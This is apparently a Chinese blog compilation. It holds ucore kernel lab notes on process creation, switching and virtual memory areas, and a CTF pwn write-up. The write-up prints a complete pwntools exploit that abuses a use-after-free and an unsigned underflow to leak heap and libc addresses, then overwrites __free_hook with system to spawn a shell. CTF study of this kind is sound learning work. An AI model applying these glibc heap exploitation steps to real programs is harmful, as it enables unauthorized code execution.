proc->mm = NULL;
memset(&(proc->context), 0, sizeof(struct context));
proc->tf = NULL;
proc->cr3 = boot_cr3;
proc->flags = 0;
memset(proc->name, 0, PROC_NAME_LEN);
}
return proc;
}
  • setup_kstack:将大小为 KSTACKPAGE 的页面作为进程内核堆栈
1
2
3
4
5
6
7
8
9
10
11
#define KSTACKPAGE          2                           

static int
setup_kstack(struct proc_struct *proc) {
struct Page *page = alloc_pages(KSTACKPAGE); /* 分配两张物理页 */
if (page != NULL) {
proc->kstack = (uintptr_t)(page); /* proc_struct->kstack:内核栈 */
return 0;
}
return -E_NO_MEM;
}
  • copy_mm:把所有的虚拟页数据复制到新的进程(本实验中没有任何作用)
1
2
3
4
5
6
static int
copy_mm(uint32_t clone_flags, struct proc_struct *proc) {
assert(current->mm == NULL);
/* do nothing in this project */
return 0;
}
  • copy_thread:在进程的内核堆栈顶部设置 trapframe,并设置进程的内核入口点和堆栈
1
2
3
4
5
6
7
8
9
10
11
static void
copy_thread(struct proc_struct *proc, uintptr_t esp, struct trapframe *tf) {
proc->tf = (struct trapframe *)(proc->kstack + KSTACKSIZE) - 1;
*(proc->tf) = *tf;
proc->tf->tf_regs.reg_eax = 0;
proc->tf->tf_esp = esp;
proc->tf->tf_eflags |= FL_IF;

proc->context.eip = (uintptr_t)forkret;
proc->context.esp = (uintptr_t)(proc->tf);
}
  • hash_proc:将 proc 添加到进程哈希链表中
1
2
3
4
5
6
7
8
#define HASH_SHIFT          10
#define pid_hashfn(x) (hash32(x, HASH_SHIFT))
static list_entry_t hash_list[HASH_LIST_SIZE]; /* 进程哈希链表的入口地址 */

static void
hash_proc(struct proc_struct *proc) {
list_add(hash_list + pid_hashfn(proc->pid), &(proc->hash_link));
}
  • get_pid:为进程分配唯一的PID
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define MAX_PROCESS                 4096
#define MAX_PID (MAX_PROCESS * 2)

static int
get_pid(void) {
static_assert(MAX_PID > MAX_PROCESS);
struct proc_struct *proc;
list_entry_t *list = &proc_list, *le; /* 设置*prev和*next */
static int next_safe = MAX_PID, last_pid = MAX_PID;
if (++ last_pid >= MAX_PID) {
last_pid = 1; /* 讲真没有看懂这里有啥意义 */
goto inside;
}
if (last_pid >= next_safe) {
inside:
next_safe = MAX_PID;
repeat:
le = list; /* 初始le为哈希进程链表入口 */
while ((le = list_next(le)) != list) { /* 遍历哈希进程链表 */
proc = le2proc(le, list_link); /* 根据链表信息获取进程地址 */
if (proc->pid == last_pid) {
if (++ last_pid >= next_safe) {
if (last_pid >= MAX_PID) {
last_pid = 1;
}
next_safe = MAX_PID;
goto repeat;
}
}
else if (proc->pid > last_pid && next_safe > proc->pid) {
next_safe = proc->pid;
}
}
}
return last_pid; /* 返回一个不重复的pid */
}
  • wakeup_proc:设置 proc->state = PROC_RUNNABLE(程序可运行)
1
2
3
4
5
void
wakeup_proc(struct proc_struct *proc) {
assert(proc->state != PROC_ZOMBIE && proc->state != PROC_RUNNABLE);
proc->state = PROC_RUNNABLE; /* 程序可运行 */
}

实现过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#define E_NO_FREE_PROC      5   // 尝试创建一个新的process beyond
#define KSTACKPAGE 2

int
do_fork(uint32_t clone_flags, uintptr_t stack, struct trapframe *tf) {
int ret = -E_NO_FREE_PROC;
struct proc_struct *proc;
if (nr_process >= MAX_PROCESS) {
goto fork_out;
}
ret = -E_NO_MEM;

/* <-------- start --------> */
if ((proc = alloc_proc()) == NULL) { /* 分配一个物理页,作为proc_struct */
goto fork_out;
}

proc->parent = current; /* 设置父进程为当前进程 */

if (setup_kstack(proc) != 0) { /* 分配内核栈 */
goto bad_fork_cleanup_proc;
}
if (copy_mm(clone_flags, proc) != 0) { /* 将所有虚拟页数据复制过去 */
goto bad_fork_cleanup_kstack;
}
copy_thread(proc, stack, tf); /* 复制线程的状态,包括寄存器上下文等等 */

bool intr_flag;
local_intr_save(intr_flag); /* 阻塞中断 */
{
proc->pid = get_pid(); /* 为进程分配唯一的PID */
hash_proc(proc); /* 将proc添加到进程哈希链表中 */
list_add(&proc_list, &(proc->list_link)); /* 将proc添加到进程链表中 */
nr_process ++; /* 将全局线程的数目加1 */
}
local_intr_restore(intr_flag); /* 解除中断的阻塞 */
wakeup_proc(proc); /* 设置新的子进程可执行 */
ret = proc->pid; /* 设置返回值为pid */
/* <-------- end --------> */

fork_out:
return ret;

bad_fork_cleanup_kstack:
put_kstack(proc);
bad_fork_cleanup_proc:
kfree(proc);
goto fork_out;
}

练习3-理解proc_run函数和它调用的函数如何完成进程切换的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void
proc_run(struct proc_struct *proc) {
if (proc != current) { /* 再次检查(调度进程,不能等于当前进程) */
bool intr_flag;
struct proc_struct *prev = current, *next = proc;
local_intr_save(intr_flag); /* 阻塞中断 */
{
current = proc; /* 设置当前执行的进程 */
load_esp0(next->kstack + KSTACKSIZE); /* 设置ring0的内核栈地址 */
lcr3(next->cr3); /* 加载页目录表 */
switch_to(&(prev->context), &(next->context)); /* 切换上下文(汇编) */
}
local_intr_restore(intr_flag); /* 解除中断的阻塞 */
}
}

其实这个在前面已经提过了

PS:“local_intr_save”和“local_intr_restore”用于实现“原子操作”,使得某些关键的代码不会被打断,从而避免引起一些未预料到的错误,避免条件竞争

examination

1
2
3
4
5
6
7
8
9
➜  桌面 ./examination 
_____ _ _ _
| ___| (_) | | (_)
| |__ __ __ __ _ _ __ ___ _ _ __ __ _ | |_ _ ___ _ __
| __| \ \/ / / _` | | '_ ` _ \ | | | '_ \ / _` | | __| | | / _ \ | '_ \
| |___ > < | (_| | | | | | | | | | | | | | | (_| | | |_ | | | (_) | | | | |
\____/ /_/\_\ \__,_| |_| |_| |_| |_| |_| |_| \__,_| \__| |_| \___/ |_| |_|
role: <0.teacher/1.student>: 11
no student yet
1
2
3
4
5
6
7
8
9
examination: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=316ff7d18256c35fdf207a21d1e492fa8b73e294, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/examination'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/lib/x86_64-linux-gnu/'

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release versi
  • calloc 同 malloc 类似只是会将申请到的堆块内容清 0
  • calloc 不会从 tcachebin 里取空闲的 chunk ,而是从 fastbin 里取,取完后,和 malloc 一样,如果 fastbin 里还有剩余的 chunk ,则全部放到对应的 tcache bin 里取,采用头插法

chunk 结构:

1
student_list => student => chunk

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned __int64 free_t()
{
int id; // [rsp+8h] [rbp-18h]
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("only 3 chances to call parents!");
if ( call_chances )
{
--call_chances;
if ( student_num )
{
puts("which student id to choose?");
read(0, buf, 5uLL);
id = atoi(buf);
if ( id >= 0 && id <= 9 && student_list[id] )
{
printf("bad luck for student %d! Say goodbye to him/her!", (unsigned int)id);
if ( (*student_list[id])->chunk.comment )
free((void *)(*student_list[id])->chunk.comment);
free(*student_list[id]);
free(student_list[id]);
student_list[id] = 0LL; // UAF
--student_num;
}
else
{
puts("please watch carefully :)");
}
}
else
{
puts("add some students first!");
}
}
else
{
puts("no you can't");
}
return __readfsqword(0x28u) ^ v3;
}
  • “释放模块”只置空了“student_list[id]”
  • student,chunk,comment 造成 UAF

入侵思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall check_s(int a1)
{
_BYTE *addr; // rax
char nptr[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( *((_DWORD *)student_list[a1] + 7) == 1 )
{
puts("already gained the reward!");
}
else
{
if ( (*student_list[a1])->chunk.random_score > 0x59u )// random_score至少90
{
printf("Good Job! Here is your reward! %p\n", student_list[a1]);// 可以泄露地址
printf("add 1 to wherever you want! addr: ");
read_s(0, nptr, 16);
addr = (_BYTE *)atol(nptr);
++*addr; // 输入一个地址,使其++
*((_DWORD *)student_list[a1] + 7) = 1;
}
if ( (*student_list[a1])->chunk.comment )
{
puts("here is the review:");
write(1, (const void *)(*student_list[a1])->chunk.comment, SLODWORD((*student_list[a1])->chunk.size_comment));
}
else
{
puts("no reviewing yet!");
}
}
return __readfsqword(0x28u) ^ v4;
}

check_s 这个函数大有文章,即可以泄露地址,又有一次“任意++”的机会

想要使用“reward”,必须满足以下条件:

1
if ( (*student_list[a1])->chunk.random_score > 0x59u )// random_score至少90

这个“random_score”是在以下函数中定义的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 give_t()
{
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int random_score; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("marking testing papers.....");
for ( i = 0; i < student_num; ++i )
{
if ( read(random, buf, 8uLL) != 8 ) // 获取一个8字节的随机数
{
puts("read_error");
exit(-1);
}
buf[0] &= ~0x80u;
random_score = buf[0] % (10 * (*student_list[i])->chunk.question_num);
printf("score for the %dth student is %d\n", i, random_score);
if ( *((_DWORD *)student_list[i] + 6) == 1 )// student中标记pray_key
{
puts("the student is lazy! b@d!");
random_score -= 10;
} // student_list => student => chunk
(*student_list[i])->chunk.random_score = random_score;
}
puts("finish");
return __readfsqword(0x28u) ^ v4;
}

函数 give_t 会根据一个随机数“buf”和“question_num”对“random_score”进行赋值,而“question_num”在以下函数中实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 add_t()
{
int question_num[2]; // [rsp+8h] [rbp-28h] BYREF
Student **student; // [rsp+10h] [rbp-20h]
Chunk *chunk; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
question_num[1] = 0;
question_num[0] = 0;
if ( (unsigned int)student_num <= 6 ) // 最多添加7个student
{
student = (Student **)calloc(1uLL, 0x20uLL);
chunk = (Chunk *)calloc(1uLL, 0x18uLL); // student_list => student => chunk
*student = (Student *)chunk;
student_list[student_num++] = student;
printf("enter the number of questions: ");
__isoc99_scanf("%d", question_num);
if ( question_num[0] <= 9 && question_num[0] > 0 )
{
(*student)->chunk.question_num = question_num[0];
puts("finish");
}
else
{
puts("wrong input!");
}
}
else
{
puts("No more students!");
}
return __readfsqword(0x28u) ^ v4;
}

在函数 add_t 中:“question_num”最高被赋值为“9”,最终执行结果就是:

1
random_score = random % (10 * 9);

也就是说:“question_num”最大为“89”,根本不可能为“90”

所以我们的第一步就是修改“question_num”:

1
2
3
4
5
6
7
unsigned int random_score; // [rsp+Ch] [rbp-14h]

if ( LODWORD(student_list[i]->is_pray) == 1 )// student中标记pray_key
{
puts("the student is lazy! b@d!");
random_score -= 10;
}

这里的“random_score”是“unsigned int”类型的,所以可以进行负数溢出,这样就可以进行泄露了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* <-------- 样例 --------> */
role(0)
add_st(1)
change_role(1)
pray()
change_role(0)
give()
change_role(1)
check()

p.recvuntil('Good Job! Here is your reward! ')
leak_addr = eval(p.recvuntil('\n')[:-1])
heap_base = leak_addr-16-0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

另外还有一次“任意++”的机会可以使用,但我们这里只泄露出了 heap_base ,所以只能修改堆上的数据,可以用它来构造“off-by-one”

  • 因为这些 chunk 都分布在 tcache 上,所以不考虑 unlink 攻击
  • calloc 不会从 tcachebin 里取空闲的 chunk,tcache attack失效
  • calloc 会将申请到的堆块内容清 0,overlapping 可能也够呛了

我当时的思路就是:直接覆盖“chunk->size”的低位,把它释放入unsortedbin,后续 leak libc_base(一次“任意++”可能不太行,需要两次)

这里最大的问题就是:如何利用堆风水,使修改了“size”的chunk在释放时不会报错,当时做题的时候就是卡在这里了,想了多种组合方式都没有成功……

比赛结束后,看了下 free 的源码,才发现是 unlink 的检查没有通过:(经此一役,打算做个free的源码分析)

1
2
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

先看看官方wp的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
role(0)
add_st(1)
comment(0,0x48,'aaaa')
add_st(1)
comment(1,0x48,'bbbb')

change_role(1)
change_id(0)
pray()
change_id(1)
pray()
change_role(0)
give() # 现在拥有了两次check的机会

add_st(2)
comment(2,0x38,'222')
add_st(3)
add_st(4)
comment(4,0x3ff,'\x00'*0x248+p64(0x21)+p64(0)*3+p64(0x21)) # 这里的操作就是关键
add_st(5)
add_st(6)

change_role(1)
change_id(0)
check()

p.recvuntil('Good Job! Here is your reward! ')
leak_addr = eval(p.recvuntil('\n')[:-1])
heap_base = leak_addr-16-0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

target_addr=heap_base+0x2e0 # 第1次"++"
success('target_addr >> '+hex(target_addr))
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_id(1)
check()
target_addr=heap_base+0x2e0 # 第2次"++"
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_role(0)
comment_have(0,'A'*0x48+p16(0x421)) # 攻击comment0,覆盖student1->size
free(1)

修改前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b42e0 // comment0
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4330 // student1(target)
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4360 // chunk1
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4380 // comment1
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b43d0 // student2
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4400 // chunk2
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4420 // comment2
Size: 0x41

......

Allocated chunk | PREV_INUSE
Addr: 0x55fd4c4b4500 // comment4
Size: 0x411

修改后,释放前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be2e0 // comment0
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be330 // student1(target)
Size: 0x421

Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be750 // fake_chunk1
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555c7a4be770 // fake_chunk2
Size: 0x21

Allocated chunk
Addr: 0x555c7a4be790
Size: 0x00

释放后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Allocated chunk | PREV_INUSE
Addr: 0x562a85b602e0 // comment0
Size: 0x51

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x562a85b60330 // student1(target)
Size: 0x421
fd: 0x7f3d7b952be0
bk: 0x7f3d7b952be0

Allocated chunk
Addr: 0x562a85b60750 // fake_chunk1
Size: 0x20

Allocated chunk | PREV_INUSE
Addr: 0x562a85b60770 // fake_chunk2
Size: 0x21

Allocated chunk
Addr: 0x562a85b60790
Size: 0x00

发现“student1”已经成功进入了 unsortedbin,并且后续区域都可以被该 unsorted chunk 控制,借此我们可以“还原”被破坏的内容,并且把“main_arena+xx”覆盖到我们想要的位置

比如说:覆盖到“comment2”后,直接利用“check”打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = '\x00'*0x90
payload += p64(0)+p64(0x31)+p64(heap_base+0x410)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(2)+p64(heap_base+0x430)+p64(0x10)
comment(6,0xe8,payload)

change_role(1)
change_id(2)
check()
p.recvuntil('here is the review:\n')
leak_addr=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
libc_base=leak_addr-2018272
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

接下来就可以覆盖“student3->comment3”为“free_hook-8”,最后将其修改为“system”

1
2
3
4
5
6
7
change_role(0)
payload = '\x00'*0x30
payload += p64(0)+p64(0x31)+p64(heap_base+0x4a0)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(0)+p64(free_hook-8)+p64(0x10)
comment(5,len(payload),payload)
comment_have(3,'/bin/sh;'+p64(system_libc))
free(3)
1
2
3
4
5
6
7
8
9
10
11
12
13
Allocated chunk | PREV_INUSE
Addr: 0x55af7721a330 // student1
Size: 0xf1

Allocated chunk | PREV_INUSE
Addr: 0x55af7721a420 // comment2,student3
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55af7721a4b0
Size: 0x2a1
fd: 0x7f70a91b4be0
bk: 0x7f70a91b4be0

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *

p=process('./examination')
elf=ELF('./examination')
libc=ELF('./libc-2.31.so')

def role(index):
p.recvuntil('role: <0.teacher/1.student>:')
p.sendline(str(index))

def change_role(index):
p.sendlineafter('choice>> ',str(5))
role(index)

def add_st(num):
p.sendlineafter('choice>> ',str(1))
p.recvuntil('enter the number of questions:')
p.sendline(str(num))

def give():
p.sendlineafter('choice>> ',str(2))

def comment(id,size,comment):
p.sendlineafter('choice>> ',str(3))
p.sendlineafter('which one? > ',str(id))
p.sendlineafter('please input the size of comment: ',str(size))
p.sendafter('enter your comment:\n',comment)

def comment_have(id,comment):
p.sendlineafter('choice>> ',str(3))
p.sendlineafter('which one? > ',str(id))
p.sendafter('enter your comment:\n',comment)

def free(id):
p.sendlineafter('choice>> ',str(4))
p.sendlineafter('to choose?\n',str(id))

def backdoor(data):
p.sendlineafter('choice>> ',str(6))
p.sendline(data)

def check():
p.sendlineafter('choice>> ',str(2))

def pray():
p.sendlineafter('choice>> ',str(3))

def mode(score):
p.sendlineafter('choice>> ',str(4))
p.sendlineafter('enter your pray score: 0 to 100\n',str(score))

def change_id(id):
p.sendlineafter('choice>> ',str(6))
p.sendlineafter('input your id: ',str(id))

#gdb.attach(p)

role(0)
add_st(1)
comment(0,0x48,'aaaa')
add_st(1)
comment(1,0x48,'bbbb')

change_role(1)
change_id(0)
pray()
change_id(1)
pray()
change_role(0)
give()

add_st(2)
comment(2,0x38,'222')
add_st(3)
add_st(4)
comment(4,0x3ff,'\x00'*0x248+p64(0x21)+p64(0)*3+p64(0x21))
add_st(5)
add_st(6)

change_role(1)
change_id(0)
check()

p.recvuntil('Good Job! Here is your reward! ')
leak_addr = eval(p.recvuntil('\n')[:-1])
heap_base = leak_addr-16-0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

target_addr=heap_base+0x2e0
success('target_addr >> '+hex(target_addr))
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_id(1)
check()
target_addr=heap_base+0x2e0
p.recvuntil('add 1 to wherever you want! addr: ')
p.send(str(target_addr))

change_role(0)
comment_have(0,'A'*0x48+p16(0x421))
free(1)

payload = '\x00'*0x90
payload += p64(0)+p64(0x31)+p64(heap_base+0x410)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(2)+p64(heap_base+0x430)+p64(0x10)
comment(6,0xe8,payload)

change_role(1)
change_id(2)
check()
p.recvuntil('here is the review:\n')
leak_addr=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
libc_base=leak_addr-2018272
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
system_libc=libc_base+libc.sym['system']
success('free_hook >> '+hex(free_hook))
success('system_libc >> '+hex(system_libc))

change_role(0)
payload = '\x00'*0x30
payload += p64(0)+p64(0x31)+p64(heap_base+0x4a0)+'\x00'*0x18
payload += p64(0)+p64(0x21)+p64(0)+p64(free_hook-8)+p64(0x10)
comment(5,len(payload),payload)

comment_have(3,'/bin/sh;'+p64(system_libc))
free(3)

p.interactive()

小结

复现完这个题目后,感觉打比赛时的自己挺蠢的

  • 上午因为把结构体改错了,导致负数溢出这个漏洞迟迟出不了
  • 下午我误以为“任意++”这个条件只能执行一次,导致做了好几个小时的无用功
  • 后来想到可以多次“任意++”,然后改“chunk->size”将其释放入 unsortedbin
  • 最后因为不熟悉 free 的检查机制,导致报错,晚饭回来以后,队友都打完了

感觉这个题的技术点我都懂,再给我点时间翻翻 free 的源码,说不定就出了,归根到底还是缺乏比赛的历练

PS:free 会检查被释放的 chunk 是否可以进行合并,其中对 nextchunk 是否 free 的检查需要用到 nextchunk->nextchunk 的P位,所以务必将其伪造为“1”

vma简析

用户进程的虚拟地址空间包含了若干区域,这些区域的分布方式是特定于体系结构的,不过所有的方式都包含下列成分:

  • 可执行文件的二进制代码,也就是程序的代码段
  • 存储全局变量的数据段
  • 用于保存局部变量和实现函数调用的栈
  • 环境变量和命令行参数
  • 程序使用的动态库的代码
  • 用于映射文件内容的区域

由此可以看到进程的虚拟内存空间会被分成不同的若干区域,每个区域都有其相关的属性和用途,一个合法的地址总是落在某个区域当中的,这些区域也不会重叠

在linux内核中,这样的区域被称之为虚拟内存区域(virtual memory areas,vma),每一个虚拟内存区域都由一个相关的 struct vma_struct 结构来描述,而一个进程往往由许多不同功能的 vma 组成,它们则统一归于 struct mm_struct 结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct vma_struct {
struct mm_struct *vm_mm; /* 所属的内存描述符 */
uintptr_t vm_start; /* vma的起始地址 */
uintptr_t vm_end; /* vma的结束地址 */
uint32_t vm_flags; /* 标识集 */
list_entry_t list_link; /* 按vma的起始地址排序的线性列表链接 */
/* 后续实验还会增加: */
// mm_count(共享mm的进程数)
// mm_lock(关于锁的标记)
};

struct mm_struct {
list_entry_t mmap_list; /* vma链表的起始地址 */
struct vma_struct *mmap_cache; /* 当前访问的vma,用于速度目的 */
pde_t *pgdir; /* 这些vma的PDT(页目录表) */
int map_count; /* 这些vma的计数 */
void *sm_priv; /* 用于指向swap manager的某个链表 */
/* 在FIFO算法中,该双向链表用于将可交换的已分配物理页串起来 */
};
  • 每一个进程都有一个 mm_struct 来管理虚拟内存和物理内存
  • 内核会把这一整片内存给划分为不同功能的 vma,每个 vma 用一个 vma_struct 来管理
  • 按 vma 的起始地址排序,可以把一个进程中所有的 vma 组成一个链表
  • 而 mm_struct->mmap_list 指向该 vma 链表的起始地址

下面是与 vma 有关的函数:

  • find_vma:找寻合适的 vma 地址(vma->vm_start <= addr <= vma_vm_end)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct vma_struct {
struct mm_struct *vm_mm; /* 所属的内存描述符 */
uintptr_t vm_start; /* vma的起始地址 */
uintptr_t vm_end; /* vma的结束地址 */
uint32_t vm_flags; /* 标识集 */
list_entry_t list_link; /* 按vma的起始地址排序的线性列表链接 */
};

struct vma_struct *
find_vma(struct mm_struct *mm, uintptr_t addr) { /* 我没有看出来这个addr有什么用 */
struct vma_struct *vma = NULL;
if (mm != NULL) {
vma = mm->mmap_cache; /* 尝试直接获取当前访问的vma,若没有找到才遍历链表 */
if (!(vma != NULL && vma->vm_start <= addr && vma->vm_end > addr)) {
bool found = 0; /* 标记未找到 */
list_entry_t *list = &(mm->mmap_list), *le = list;
while ((le = list_next(le)) != list) { /* 遍历vma链表 */
vma = le2vma(le, list_link); /* 通过链表信息获取vma首地址 */
if (vma->vm_start<=addr && addr < vma->vm_end) {
found = 1; /* 标记找到 */
break;
}
}
if (!found) {
vma = NULL; /* 若没有找到,返回NULL */
}
}
if (vma != NULL) {
mm->mmap_cache = vma; /* 若找到,更新mmap_cache条目(方便下次找到) */
}
}
return vma;
}
  • vma_create:新建vma,并进行初始化
1
2
3
4
5
6
7
8
9
10
11
struct vma_struct *
vma_create(uintptr_t vm_start, uintptr_t vm_end, uint32_t vm_flags) {
struct vma_struct *vma = kmalloc(sizeof(struct vma_struct)); /* 分配一片空间用于存储vma */

if (vma != NULL) { /* 初始化各个条目 */
vma->vm_start = vm_start;
vma->vm_end = vm_end;
vma->vm_flags = vm_flags;
}
return vma;
}
  • insert_vma_struct:把新申请的vma插入vma链表(mmap_list为该链表的起始地址)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void
insert_vma_struct(struct mm_struct *mm, struct vma_struct *vma) {
assert(vma->vm_start < vma->vm_end);
list_entry_t *list = &(mm->mmap_list); /* 目标进程的获取vma链表首地址 */
list_entry_t *le_prev = list, *le_next;

list_entry_t *le = list;
while ((le = list_next(le)) != list) { /* 遍历vma链表 */
struct vma_struct *mmap_prev = le2vma(le, list_link);
if (mmap_prev->vm_start > vma->vm_start) {
/* 注意:vma链表是按vma起始地址的排序进行链接的 */
break;
}
le_prev = le;
}

le_next = list_next(le_prev);

/* 检查是否覆盖 */
if (le_prev != list) {
check_vma_overlap(le2vma(le_prev, list_link), vma);
}
if (le_next != list) {
check_vma_overlap(vma, le2vma(le_next, list_link));
}

vma->vm_mm = mm; /* 更新vm_mm条目(用于记录该vma所属的mm_struct内存描述符) */
list_add_after(le_prev, &(vma->list_link)); /* 插链 */

mm->map_count ++; /* vma的计数增加 */
}

static inline void
check_vma_overlap(struct vma_struct *prev, struct vma_struct *next) {
assert(prev->vm_start < prev->vm_end);
assert(prev->vm_end <= next->vm_start);
assert(next->vm_start < next->vm_end);
}
  • mm_map:构建新的vma(包含find_vma,vma_create,insert_vma_struct,并形成逻辑)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#define USERBASE            0x00200000
#define USERTOP 0xB0000000
#define USER_ACCESS(start, end) \ /* 检查该start和end是否符合条件 */
(USERBASE <= (start) && (start) < (end) && (end) <= USERTOP)

int
mm_map(struct mm_struct *mm, uintptr_t addr, size_t len, uint32_t vm_flags,
struct vma_struct **vma_store) {
// mm:当前进程的mm_struct结构体
// addr(ph->p_va):映射段的虚拟地址
// len(ph->p_memsz):该段在内存中的大小
// vm_flags:标志位
// vma_store:NULL

uintptr_t start = ROUNDDOWN(addr, PGSIZE), end = ROUNDUP(addr + len, PGSIZE);
/* 实现内存页对齐,建立合法的start(目标段起始地址),end地址(目标段结束地址) */
if (!USER_ACCESS(start, end)) { /* 确保该start和end在一定的范围内 */
return -E_INVAL;
}

assert(mm != NULL); /* 断言mm不为空 */

int ret = -E_INVAL; /* 标记异常返回 */

struct vma_struct *vma;
if ((vma = find_vma(mm, start)) != NULL && end > vma->vm_start) {
/* 找寻合适的vma地址(通过mmap_cache获取vma链表) */
// insert_vma_struct(mm, vma);
// ret = 0;
goto out; /* 找寻成功则立刻返回 */
}

/*
这里我感觉有点BUG:
如果find_vma找到了vma(vma就不为空),应该把它送入insert_vma_struct才对
按照程序的逻辑,不管"end>vma->vm_star"t是否成立,找寻到的vma都无法再利用
条件成立:执行"goto out"返回一个错误代码
条件不成立:后续的vma_create会覆盖原来的vma,就相当于白找了
*/

ret = -E_NO_MEM; /* 标记异常返回 */

if ((vma = vma_create(start, end, vm_flags)) == NULL) {
/* 新建vma,并进行初始化 */
goto out; /* 新建失败则立刻返回(NULL) */
}
insert_vma_struct(mm, vma); /* 使新分配的vma插入vma链表 */
if (vma_store != NULL) {
*vma_store = vma;
}
ret = 0; /* 标记正常返回 */

out:
return ret;
}

与 mm 有关的函数只有两个:(因为涉及到锁和共享内存,所以在后续的实验中进行分析)

  • mm_create:创建一片虚拟内存,完成各个条目的初始化
  • mm_destroy:遍历并释放 vma 链表中的所有 vma,最后释放 mm

虚拟内存

虚拟内存是CPU可以看到的“内存”

  • 虚拟内存所对应的实际物理内存单元可能不存在
  • 虚拟内存的地址和对应物理内存的地址可能不一致
  • 通过操作系统所实现的某种内存映射机制,可以达到访问的虚拟内存地址转换为物理内存地址的目的

虚拟内存的异常:

